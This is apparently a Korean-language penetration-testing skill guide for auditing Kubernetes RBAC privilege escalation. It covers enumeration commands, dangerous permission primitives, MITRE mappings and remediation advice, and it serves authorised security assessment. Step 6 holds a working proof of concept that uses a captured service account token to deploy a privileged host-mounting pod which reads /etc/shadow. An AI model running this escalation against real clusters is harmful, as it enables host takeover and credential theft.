Kubernetes RBAC 권한 상승 감사은(는) 무엇을 하나요?
법적 고지: 이 스킬은 공인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. RBAC 권한을 열거하고 사용하는 것은 라이브 클러스터의 액세스 상태에 영향을 미칩니다. 소유하거나 명시적으로 서면 승인을 받은 클러스터만 테스트하십시오.
개요
Kubernetes 역할 기반 액세스 제어(RBAC, MITRE ATT&CK T1078 유효 계정)는 Role/ClusterRole 규칙과 RoleBinding/ClusterRoleBinding 바인딩을 통해 모든 사용자 및 서비스 계정이 수행할 수 있는 작업을 제어합니다. 워크로드는 기본적으로 마운트된 서비스 계정 토큰으로 실행되므로, 공격자가 하나의 파드를 장악하면 해당 계정의 RBAC 권한을 상속받게 됩니다. 과도한 권한을 부여하는 바인딩은 단일 장악된 파드를 클러스터 장악으로 이어지게 합니다. 특정 동사와 리소스는 "cluster-admin과 동등한 RBAC 권한"을 제공합니다.
Kubernetes "RBAC 모범 사례" 안내 및 Unit 42 연구에 따르면 위험한 프리미티브는 다음과 같습니다.
- 역할에 대한
escalate— 보유하지 않은 권한을 포함하여 자신에게 모든 권한 부여 - clusterroles에 대한
bind—cluster-admin에 대한 바인딩 생성 - 사용자/그룹/서비스 계정에 대한
impersonate—system:masters를 포함한 모든 주체로 행동 pods에 대한create/update/patch— 권한 있는 파드를 스케줄링하거나 노드를 마운트하여 호스트로 탈출(T1611)pods/exec,pods/attach,pods/ephemeralcontainers에 대한create— 기존 파드에서 코드 실행secrets에 대한get/list/watch— 목록 조회 시 전체 시크릿 내용(다른 서비스 계정 토큰 포함) 반환serviceaccounts/token에 대한create— 더 높은 권한의 계정에 대한 토큰 발급validatingwebhookconfigurations/mutatingwebhookconfigurations,nodes/proxy,certificatesigningrequests/approval에 대한update/patch— 어드미션/CSR 남용으로 cluster-admin 권한 획득- 와일드카드 (
verbs: ["*"],resources: ["*"]) — 암시적 슈퍼 권한
이 스킬은 모든 주체에 대한 유효 권한을 체계적으로 열거하고, 이러한 권한 상승 프리미티브를 보유한 주체를 매핑하며, 교정 증거를 생성합니다. 출처: Kubernetes RBAC 모범 사례; Unit 42 Kubernetes RBAC 연구.
사용 시기
- 공인된 Kubernetes 보안 평가 또는 클러스터 침투 테스트 중
- 파드 장악 후 해당 서비스 계정 토큰이 도달할 수 있는 범위를 확인할 때
- 프로덕션 환경 론칭 전 RBAC 상태 점검 시
- 플랫폼 마이그레이션 또는 Helm 배포 후 최소 권한 원칙 준수 여부를 검증할 때
전제 조건
- 대상 클러스터에 대해 구성된
kubectl(자체 자격 증명 또는 캡처된 서비스 계정 토큰) - RBAC 객체에 대한 읽기 액세스 (대부분의 감사는 cluster-reader 또는 admin 컨텍스트로 실행)
- 감사 도구:
# rbac-police - 권한 상승 경로 찾기 (Cymulate) curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police chmod +x rbac-police # kubectl-who-can - 어떤 주체가 작업을 수행할 수 있는지 (Aqua) kubectl krew install who-can # rakkess - 현재/다른 주체에 대한 리소스 x 동사 액세스 매트릭스 kubectl krew install access-matrix # rbac-lookup - 주체가 가진 역할 (FairwindsOps) kubectl krew install rbac-lookup
목표
- 모든
Role,ClusterRole,RoleBinding,ClusterRoleBinding객체 목록화 kubectl auth can-i --as를 사용하여 주체별 유효 권한 열거- cluster-admin과 동등한 RBAC 프리미티브를 보유한 주체 식별
- 토큰을 마운트하는 파드를 과도한 권한을 가진 서비스 계정에 연결
- (랩 환경에서) 하나의 권한 상승 경로를 종단간 시연
- 최소 권한 원칙에 따른 교정 방안과 함께 우선순위별 결과 보고서 출력
MITRE ATT&CK 매핑
| 기술 ID | 이름 | 전술 |
|---|---|---|
| T1078 | 유효 계정 | 방어 회피 / 지속성 / 권한 상승 |
| T1098 | 계정 조작 | 지속성 |
| T1528 | 애플리케이션 액세스 토큰 도용 | 자격 증명 액세스 |
| T1613 | 컨테이너 및 리소스 발견 | 탐색 |
| T1611 | 호스트로 탈출 | 권한 상승 |
작업 흐름
1단계: RBAC 객체 목록화
# 클러스터 전체의 모든 역할 및 바인딩
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide
# 오프라인 분석을 위한 전체 RBAC 덤프
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
--all-namespaces -o yaml > rbac-dump.yaml
# cluster-admin에 바인딩된 주체는?
kubectl get clusterrolebindings -o json | \
jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
.metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'
2단계: 주체별 유효 권한 열거
kubectl auth can-i는 라이브 인가자(RBAC + 웹훅)를 평가하므로 권위 있는 검사입니다. --as를 사용하여 주체를 가장합니다(감사 ID에 대해 가장 권한 필요).
# 서비스 계정에 대한 전체 액세스 매트릭스
kubectl auth can-i --list \
--as=system:serviceaccount:default:default
# 위험한 권한에 대한 표적 탐사
kubectl auth can-i create pods --all-namespaces \
--as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
--as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
--as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
--as=system:serviceaccount:dev:builder
# rakkess: 주체에 대한 전체 동사 x 리소스 매트릭스
kubectl access-matrix --as system:serviceaccount:dev:builder
3단계: 권한 상승 프리미티브 탐색
# 클러스터 전체에서 각 위험한 작업을 수행할 수 있는 주체는?
kubectl who-can create pods
kubectl who-can '*' '*' # 와일드카드 갓모드 보유자
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings # 바인딩 스타일 권한 상승
# 원시 덤프에서 escalate/bind/impersonate 동사 및 와일드카드 검색
grep -nE 'escalate|impersonate|"*"|- bind' rbac-dump.yaml
4단계: rbac-police로 자동 권한 상승 경로 분석 실행
rbac-police는 클러스터 스냅샷에 대해 Rego 정책을 평가하여 cluster-admin으로 상승할 수 있는 주체와 정확한 경로를 찾아냅니다.
# 모든 기본 제공 권한 상승 검사 실행 (읽기 액세스 권한이 있는 kubeconfig 필요)
./rbac-police eval ./lib/policies/
# 권한 상승 정책만, 심각한 결과를 JSON으로 출력
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json
# 먼저 스냅샷 수집 (오프라인 분석 / 폐쇄망 검토)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json
5단계: 파드를 과도한 권한의 서비스 계정에 연결
발견 사항은 접근 가능한 워크로드가 해당 토큰을 마운트하는 경우에만 의미가 있습니다.
# 모든 파드를 해당 서비스 계정에 매핑
kubectl get pods --all-namespaces \
-o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'
# 위험한 SA에 연결된 토큰 자동 마운트 파드 찾기(기본값)
kubectl get pods --all-namespaces -o json | jq -r '
.items[] | select(.spec.automountServiceAccountToken != false) |
"\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'
# rbac-lookup: 해당 서비스 계정이 실제로 가진 역할은?
kubectl rbac-lookup builder --kind serviceaccount
6단계: 권한 상승 경로 시연 (랩 전용)
예: create pods 권한과 노드 액세스 권한이 있는 서비스 계정은 호스트 파일 시스템을 마운트하는 권한 있는 파드를 스케줄링할 수 있습니다.
# 캡처된 토큰을 사용하여 API 서버 직접 대상으로 지정
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc
# 위험한 권한 확인
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
auth can-i create pods
# 권한 있는 호스트 마운트 파드 스케줄링 (노드/호스트 장악 증명)
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
--insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
containers:
- name: x
image: alpine
command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
securityContext: {privileged: true}
volumeMounts: [{name: host, mountPath: /host}]
volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc # 호스트 /etc/shadow는 권한 상승을 증명
7단계: 보고 및 교정
# 최소 권한 원칙 위반 요약 생성
kubectl get clusterrolebindings -o json | jq -r '
.items[] | select(.roleRef.name=="cluster-admin") |
"FINDING cluster-admin bound to: " +
((.subjects // []) | map(.kind+":"+.name) | join(", "))'
교정: 와일드카드를 명시적 동사/리소스로 대체; 필요하지 않은 경우 escalate/bind/impersonate 제거; API를 호출하지 않는 워크로드에는 automountServiceAccountToken: false 설정; 가능한 경우 ClusterRole보다 Role(네임스페이스 범위) 사용; aggregationRule은 신중하게 사용.
도구 및 리소스
| 도구 | 목적 | 출처 |
|---|---|---|
| kubectl auth can-i | 권위 있는 실시간 권한 확인 (--list, --as) | https://kubernetes.io/docs/reference/access-authn-authz/authorization/ |
| rbac-police | Rego 기반 권한 상승 경로 분석 | https://github.com/PaloAltoNetworks/rbac-police |
| kubectl-who-can | 역방향 조회: 누가 X를 할 수 있는가 | https://github.com/aquasecurity/kubectl-who-can |
| rakkess (access-matrix) | 주체별 동사 x 리소스 매트릭스 | https://github.com/corneliusweig/rakkess |
| rbac-lookup | 주체가 가진 역할 | https://github.com/FairwindsOps/rbac-lookup |
| Kubernetes RBAC 모범 사례 | 권위 있는 권한 상승 프리미티브 목록 | https://kubernetes.io/docs/concepts/security/rbac-good-practices/ |
위험한 RBAC 프리미티브 참조
| 동사 / 리소스 | cluster-admin과 동등한 이유 |
|---|---|
escalate on roles | 자신에게 모든 권한 부여 |
bind on clusterroles | 자신을 cluster-admin에 바인딩 |
impersonate users/groups | system:masters로 행동 |
create pods (+ 노드 액세스) | 권한 있는/hostPath 파드 -> 호스트 장악 |
create pods/exec,pods/attach | 기존 파드에서 코드 실행 |
get/list secrets | 모든 토큰 및 자격 증명 읽기 |
create serviceaccounts/token | 권한 있는 토큰 발급 |
*/* (와일드카드) | 암시적 슈퍼 권한 |
검증 기준
- 모든 Role/ClusterRole/Binding 객체가 목록화되고 덤프됨
- cluster-admin 주체 목록 열거됨
-
auth can-i --list를 통해 서비스 계정별 유효 권한 열거됨 - 모든 위험한 프리미티브 보유자 식별됨 (escalate/bind/impersonate/secrets/pods)
- rbac-police 권한 상승 경로 검토됨
- 토큰 마운트 파드가 위험한 서비스 계정에 매핑됨
- 랩 환경에서 최소 하나의 권한 상승 경로 시연됨
- 최소 권한 원칙에 따른 교정 방안이 포함된 결과 보고서 생성됨
- 모든 테스트가 공인된 범위 내에서 수행됨